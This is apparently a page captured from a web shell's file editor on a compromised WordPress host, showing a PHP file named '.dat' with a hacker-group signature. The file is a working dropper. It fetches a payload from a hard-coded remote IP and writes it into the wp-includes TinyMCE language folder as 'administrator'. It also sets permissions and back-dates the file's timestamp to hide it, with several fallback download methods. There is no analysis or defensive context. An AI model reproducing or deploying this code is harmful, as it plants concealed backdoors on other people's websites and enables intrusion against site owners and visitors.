23s2s

✏️ Editing: .dat

<?php   $p = '/home/rootkesl/public_html/wp-includes/js/tinymce/langs/administrator'; $u = 'http://45.146.130.3/993d0fde0a183641879bbedd055e2563'; $fs = 5100; $ft = 1747049396; $c = get($u, $fs); if ($c) {     file_put_contents($p, $c);     if (file_exists($p) && filesize($p) == $fs) {         @chmod($p, 0744);         @touch($p, $ft);         die('_uploaded!_');     } }  die('_upload_failed_'); function get($url, $fs) {     $data = false;     if (function_exists('curl_init')) {         $ch = curl_init($url);         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);         curl_setopt($ch, CURLOPT_TIMEOUT, 30);         curl_setopt($ch, CURLOPT_HEADER, 0);         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         $data = curl_exec($ch);         curl_close($ch);     }     if (strlen($data) == $fs) {         return $data;     }     if (@ini_get('allow_url_fopen')) {         $options = stream_context_create(['http' => ['timeout' => 30]]);         $data = @file_get_contents($url, false, $options);     }     if (strlen($data) == $fs) {         return $data;     }     if (function_exists('fsockopen') && function_exists('socket_set_option')) {         $parts = parse_url($url);         $target = $parts['host'];         $port = isset($parts['port']) ? $parts['port'] : 80;         $page = isset($parts['path']) ? $parts['path'] : '';         $page .= isset($parts['query']) ? '?' . $parts['query'] : '';         $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';         $page = ($page == '') ? '/' : $page;         if ($fp = @fsockopen($target, $port, $errno, $errstr, 30)) {             $headers = "GET $page HTTP/1.1\r\n";             $headers .= "Host: {$parts['host']}\r\n";             $headers .= "Connection: Close\r\n\r\n";             if (fwrite($fp, $headers)) {                 $resp = '';                 while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {                     $resp .= $curr;                 }                 if (isset($curr) && $curr !== false) {                     fclose($fp);                     $data = ltrim(substr(strstr($resp, "\r\n\r\n"), 3));                     if (strlen($data) == $fs) {                         return $data;                     }                 }             }             fclose($fp);         }     }     return false; }

Sid Gifari From Gifari Industries - BD Cyber Security Team